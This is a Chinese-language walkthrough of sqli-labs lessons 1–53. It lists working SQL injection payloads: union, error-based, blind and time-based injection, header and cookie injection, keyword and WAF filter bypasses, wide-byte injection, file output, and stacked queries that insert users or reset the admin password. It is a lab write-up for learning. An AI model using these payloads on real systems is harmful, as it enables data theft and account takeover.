sqlilabs

Less1(字符型联合注入)

测试注入点

?id=-1' and 1=1 --+

?id=-1' and 1=2 --+

发现可能存在Select语句,尝试使用联合查询

先判断数据表中的字段数

共三个字段,且只显示后两个位的数据

判断一下数据库的类型,先尝试一下Mysql数据库(虽然说靶场是我们自己搭的,当然知道是什么类型,但是在练习中进行完整的sql注入步骤,实战时才能胸有成竹)

?id=-1' union select 1,@@version,3 --+

回显了版本,说明确实是mysql数据库,这样我们就能利用mysql数据库中的information_schema数据库来获取数据库中的数据表信息

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

爆出数据表分别有emailsreferersuagentsusers

我们选其中的users表,开始爆破字段名

为了省事,我们将所有字段名连成一个字符串,一并显示出来

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database() --+

爆出字段名分别有idusernamepassword

这里就用sqlmap来完成剩下工作了

Less2(数字型联合注入)

本关提示是数字型注入,所以不用考虑闭合前面的引号

其他的注入步骤和第一关一致

Less3(闭合括号)

初步尝试时发现闭合引号没有效果

利用转义符的报错信息得到闭合方式

?id=1\

payload如下

?id= -1') union select 1,version(),3 --+

Less4(双引号联合注入)

判断注入点闭合方式

?id= -1“) union select 1,version(),3 --+

Less5(单引号报错注入)

经过简单测试可以发现本关无回显

测试是否有报错信息

?id= 1' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+

说明可以使用报错注入

当然本题也可以使用布尔盲注和时间盲注

Less6(双引号报错注入)

首先通过报错信息判断注入点闭合

?id=1\

本关只是把第五关的单引号换成了双引号,所以payload改改就行

?id=1" and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+

Less7(导出查询结果)

本题无回显,也没有报错信息,可以尝试使用盲注

不过题目提示使用outfile,查看源码

SQL语句为$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

我们需要闭合两层括号,可以尝试使用into outfile语法将查询内容输出到文件中

?id= -1')) union select 1,version(),3 into outfile "xxx(路径)" --+

需要注意的是这里如果是windows下的文件路径需要使用双斜杠,例如C://1//1.txt

Less8(布尔盲注)

这一关又是没有回显

试一下报错注入?id= 1' and updatexml(1,concat(0x7e,(select version()),0x7e),1) --+

没有开启报错信息,那么尝试布尔盲注

?id=1' and (length(database())>4) --+

接下来就是常规的布尔盲注流程了,例如先爆数据库名称

?id=1' and (left(database(),1)='s') --+

Less9(单引号时间盲注)

本关提示我们使用时间盲注

我们可以对比一下布尔盲注和时间盲注的黑盒和白盒发现方法

  1. 页面回显(黑盒):当题目考察布尔盲注时,SQL语句的条件正确与否会得到不同的页面回显。而时间盲注的页面回显会保持不变。

  2. 源码(白盒):

本关显然是时间盲注

尝试判断数据库长度

?id=1' and if(length(database())>4,sleep(5),sleep(1)) --+

延时时间有变化,说明数据库长度大于4,时间盲注可行

剩下的步骤就是常规的时间盲注

Less10(双引号时间盲注)

这一关仅仅是将单引号闭合换成了双引号闭合,其他内容和上一关的时间注入一致

当然我们在黑盒视角是无法知道要用什么闭合

我们可以利用时间盲注语句一个一个尝试

1
2
3
?id=1' and sleep(5) --+
?id=1" and sleep(5) --+
?id=1') and sleep(5) --+

通过延时时间我们可以判断闭合方式为双引号"

Less11(POST联合查询)

随便提交一下表单,发现是POST注入类型

抓包看一下有哪些POST参数

uname=admin&passwd=' or 1=1 #&Submit=Submit

找出字段数量uname=admin#&passwd=-1' order by 3#&Submit=Submit

共2个字段,剩下就是常规的联合查询步骤

Less12(POST双引号)

判断一下注入点

本题将单引号换成双引号

查看报错信息时发现外层还有一个括号,那么外层额外闭合一个括号即可

Less13(POST报错注入)

多加一些闭合符号,从报错信息中找到正确的闭合格式')

由于页面不存在回显,尝试报错注入

passwd=-1') and updatexml(1,concat(0x7e,(select version()),0x7e),1)#&Submit=Submit&uname=admin

Less14(POST报错注入+双引号闭合)

本关除了闭合方式和上一关不同,payload基本一致

passwd=-1" and updatexml(1,concat(0x7e,(select version()),0x7e),1)#&Submit=Submit&uname=admin

Less15(POST布尔盲注)

由于无报错回显,尝试使用布尔盲注

passwd=-1' or (length(database())>4) --+&Submit=Submit&uname=admin

passwd=-1' or (length(database())<4) --+&Submit=Submit&uname=admin

Less16(POST时间盲注)

首先使用时间盲注去猜布尔盲注

1
2
3
uname=admin' and sleep(5)#&passwd=admin&Submit=Submit
uname=admin" and sleep(5)#&passwd=admin&Submit=Submit
uname=admin") and sleep(5)#&passwd=admin&Submit=Submit

闭合方式为")

passwd=admin") and if(length(database())>4,sleep(5),sleep(1)) #&Submit=Submit&uname=admin

Less17(update注入)

本关的页面功能为更新账户的密码,所以猜测原SQL语句为UPDATE users SET password = 参数1 WHERE username=参数2

由于是Update型注入,考虑使用报错注入

首先测试注入点username和password

1
passwd=1/&Submit=Submit&uname=1

页面并没有报错,猜测验证username和修改密码被拆为两个步骤,那么我们可以输入一个存在的用户名

本关使用单引号闭合

passwd=1' and updatexml(1,concat(0x7e,version(),0x7e),1)#&Submit=Submit&uname=admin

Less18(header注入user-agent)

本关显示了User Agent ,即请求头中User-Agent 字段,很显然是header注入

'database()判断注入点

可以发现passwd参数后还跟了IP以及

由于存在报错信息,使用报错注入

由于user-agent参数前已经有了一个单引号,所以报错不能构造在一开始,不然会被当作字符串,放在括号里的第二位或者第三位都可

需要注意的是最后还有个括号要闭合

1',1,updatexml(1,concat(0x7e,(select version()),0x7e),1))#

或者1',updatexml(1,concat(0x7e,(select version()),0x7e),1),1)#

Less19(header注入referer)

本题将注入点换到了referer字段

使用'version()来测试注入点

',updatexml(1,concat(0x7e,(select version()),0x7e),1))#

Less20(Cookie注入)

这一关并没有对用户名和密码做判断

当我们登录后,会进入一个满是信息的页面

此时抓包会发现Cookie中多了一项uname=admin

测试一下注入点

admin' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#

当然由于是查询语句,本题也可以使用联合注入

Less21(Cookie注入+base64编码)

本题中的cookie内容被混淆为编码,猜测是base64编码

用在线工具验证一下想法

1\转为base64编码MVw=注入,判断一下闭合类型

上一关的payload还需要闭合一层括号

admin') and updatexml(1,concat(0x7e,(select version()),0x7e),1)#

将上一关的payload进行base64编码

YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB2ZXJzaW9uKCkpLDB4N2UpLDEpIw==

Less22(Cookie注入+base64编码2)

本关需要闭合双引号

所以payload变为

admin" and updatexml(1,concat(0x7e,(select version()),0x7e),1)#

base编码为YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHZlcnNpb24oKSksMHg3ZSksMSkj

Less23(过滤注释)

测试?id=-1' or 1=1 --+时报错,说明对注释做了过滤

?id=-1' or 1=1 #也不行

尝试直接闭合后面的引号

?id=-1' or '1'='1

闭合成功,不过此时使用联合注入时不能再使用order by来判断字段数

直接一个一个select

1
2
3
4
?id=-1' union select 1 and '1'='1
?id=-1' union select 1,2 and '1'='1
?id=-1' union select 1,2,3 and '1'='1
...

存在三个字段

剩下就是常规的联合注入步骤

Less24(二次注入)

题目提示二次注入,我们来审计一下源码

程序对登录界面的账户和密码参数使用了mysql_real_escape_string函数进行了转义

创建新用户的功能中上传的参数也被转义

而修改密码的功能中,后端仅仅是从数据库中读入了当前用户的用户名,并没用对其进行转义

所以我们的思路如下:

  1. 在创建用户界面,将注入语句admin' #插入到用户名的框中

  2. 修改密码,在新密码处填入我们希望管理员账户改为的新密码

  3. 用户名被数据库不加转义地读入,此时sql语句变为

    $sql = "UPDATE users SET PASSWORD='$pass' where username='admin '#' and password='$curr_pass' ";

    这里注释符将后面内容注释掉了,即没有对当前密码进行校验,相当于直接修改了admin账号的密码

  4. 使用我们设置的管理员密码登录管理员账户

创建账号

登录新账号

修改密码为123456

成功登录admin账户

Less25(过滤and和or)

本关提示过滤掉了and和or关键字,同时也给出了hint,让我们知道id参数过滤后是什么样子

关键字过滤可以使用双写法来绕过,and替换为aandnd

同样,order by可以替换为oorrder by

此时判断字段数的语句变为?id=1' oorrder by 4 %23

Less25a(过滤and和or-数字型)

本关数字型注入,绕过方法与上一关一致

Less26(过滤空格和注释)

本关将注释符都过滤了,我们尝试直接闭合原sql语句后面的引号

?id=1' aandnd '1'='2

源码中的过滤部分如下

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

可以看到空格这一类的字符都被过滤了

尝试用url编码绕过,测试%09%0d这几个制表符、换行符、换页符

经过测试,垂直制表符%0b可用

?id=' union%0bselect%0b1,database(),3||'1'='1

当然,本体也可以使用报错注入,因为报错注入的payload不需要考虑绕过空格的问题

Less26a(过滤空格和注释+判断闭合)

当特殊符号\被过滤之后,我们该如何判断闭合类型呢

答案是只能一个个试

首先使用?id=1'',发现有回显,说明是单引号闭合

使用?id=1')||('测试是否有括号闭合,有回显,说明单引号外还有一层括号

除了payload的闭合方式不同,其它内容和上一关一致

Less27(过滤Union和Select)

本关我们尝试一直新的判断闭合的方法,即通过表达式来判断

?id=2'%26%26 '1'='1

此时回显id=2的用户信息,说明原SQL语句无括号闭合

本关提示UnionSelect关键字被过滤

查看源码,发现过滤时区分了大小写,正则表达式并没有使用修饰符i

那么我们可以通过大小写绕过

?id='uNion%0bsElect%0b1,database(),3||'1'='1

Less27a(过滤Union和Select+判断闭合)

先使用?id=2'%26%26 '1'='1?id=2"%26%26 "1"="1来判断单双引号及括号

本关无括号闭合,使用?id=1'?id=1"来进一步判断单双引号

使用的是双引号

?id="uNion%0bsElect%0b1,database(),3||"1"="1

Less28(过滤Union\sSelect,区分大小写)

观察源码

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}

本关过滤了union \s select这种匹配串,但是仍然可以使用url编码绕过

?id=') union%0bselect%0b1,database(),3;%00

Less28a

本关的过滤内容甚至比上一关还少

Less29(WAF过滤)

我们需要理解一下本关涉及的WAF的原理

服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
如果payload为index.php?id=1&id=2,那么apache(php)解析最后一个参数,即显示 id=2 的内容。Tomcat(jsp)解析第一个参数,即显示 id=1 的内容。

由于并没有部署真正的tomcat服务器,本关在php代码中模拟量tomcat处理并拦截参数的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);


foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}

}
}

java_implimentation函数仅拦截第一个id参数并判断其是否合法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}

如果该参数不是纯数字,则会跳转到hacked.php

所以绕过本关WAF的方法即第一个id使用合法的纯数字,将payload放在最后一个id参数

?id=1&id=-1'union select 1,database(),3%23

Less30(WAF过滤+双引号)

本关将单引号换成了双引号

?id=1&id=-1"union select 1,database(),3%23

Less31(WAF过滤+双引号括号)

本关的闭合换成了")

?id=1&id=-1")union select 1,database(),3%23

Less32(宽字节注入 preg_quote)

查看源码

1
2
3
4
5
6
7
8
9
10
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash


return $string;
}

这段代码分别转移了反斜杠\、单引号'和双引号"

经典的宽字节注入,在引号前插入%df

?id=-1%df' union select 1,database(),3 %23

Less33(宽字节注入 addslashes)

1
2
3
4
5
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}

本关换成了addslashes函数,payload与上一关一致

Less34(宽字节注入 addslashes POST传参)

本关为POST注入形式的宽字节注入

Less35(宽字节注入 数字型)

数字型注入下,转义字符形式的过滤失去作用,因为我们不需要考虑闭合

Less36(宽字节注入 mysql_real_escape_string)

payload与Less33关一致

Less37(宽字节注入 mysql_real_escape_string POST传参)

与Less34关类似

Less38(堆叠注入)

尝试使用堆叠注入向表中添加一个用户的信息

1
?id=1';insert into users(id,username,password) values ('66','R1ck','123456')--+

查询插入的数据,可以发现插入成功

Less39(堆叠注入-数字型)

本题是数字型,所以去掉上一关payload的引号即可

Less40(堆叠注入-判断闭合)

本关关闭了报错,所以我们仍然是使用表达式的方法判断闭合

?id=2' and '1'='1?id=2" and "1"="1

单引号回显id为1,双引号回显id为2,说明是')闭合

payload为?id=1');insert into users(id,username,password) values ('66','R1ck','123456')--+

Less41(堆叠注入-数字型无报错)

使用上一关判断闭合方法,发现两种payload都没有回显

说明本关可能是数字型注入

Less42(堆叠注入-POST传参)

在密码框使用堆叠注入,修改管理员账户的密码

1';update users set password='R1ck' where username='admin'#

使用更改后的密码登录管理员账户

Less43(堆叠注入-POST传参+括号闭合)

本关多了括号闭合

1');update users set password='R1ck' where username='admin'#

Less-44(堆叠注入-POST传参+关闭报错)

同less-42关,只是关闭了报错

Less-45

同less-43关,只是关闭了报错

Less46(Order by)

首先测试一下本关卡的网页

随着sort参数的改变,网页回显列表的排序发生变化

猜测原SQL语句可能是select * from user order by $sort

为了验证猜测,我们可以在后面加上desc/asc参数,观察升序降序是否变化

加上desc后成功变为降序

由于此处数据返回的形式是表格,因此我们不能直接利用数据回显的位置进行联合注入

尝试使用报错注入

?sort=1 AND updatexml(1,concat(0x7e,database(),0x7e),1)%23

Less47(Order by+单引号)

本关测试不同数字发现回显相同,说明可能是字符型

尝试将刚刚的payload后加上单引号

?sort=1' AND updatexml(1,concat(0x7e,database(),0x7e),1)%23

Less48(Order by布尔盲注)

使用46关的payload,发现没有任何报错,说明本关关闭了报错信息

可以使用布尔盲注

由于rand(0)rand(1)返回的内容不同,我们可以将判断语句放在rand中,这样布尔值不同,回显的结果也不同

Less49(Order by布尔盲注+单引号)

由于orderby关键字后面跟了引号,所以我们无法再使用rand()函数来布尔盲注

考虑使用时间盲注,由于查询的条数比较多,所以延时时间最好设短一些

1' and if((length(database())>4),sleep(0.1),1) --+

Less50(Order by堆叠注入)

和常规的堆叠注入方法一致

Less51(Order by堆叠注入+单引号)

同47关,不过可以使用堆叠注入

Less52(Order by堆叠注入+关闭报错)

同50关,关闭了报错信息

Less53(Order by堆叠注入+单引号关闭报错)

同51关,关闭了报错信息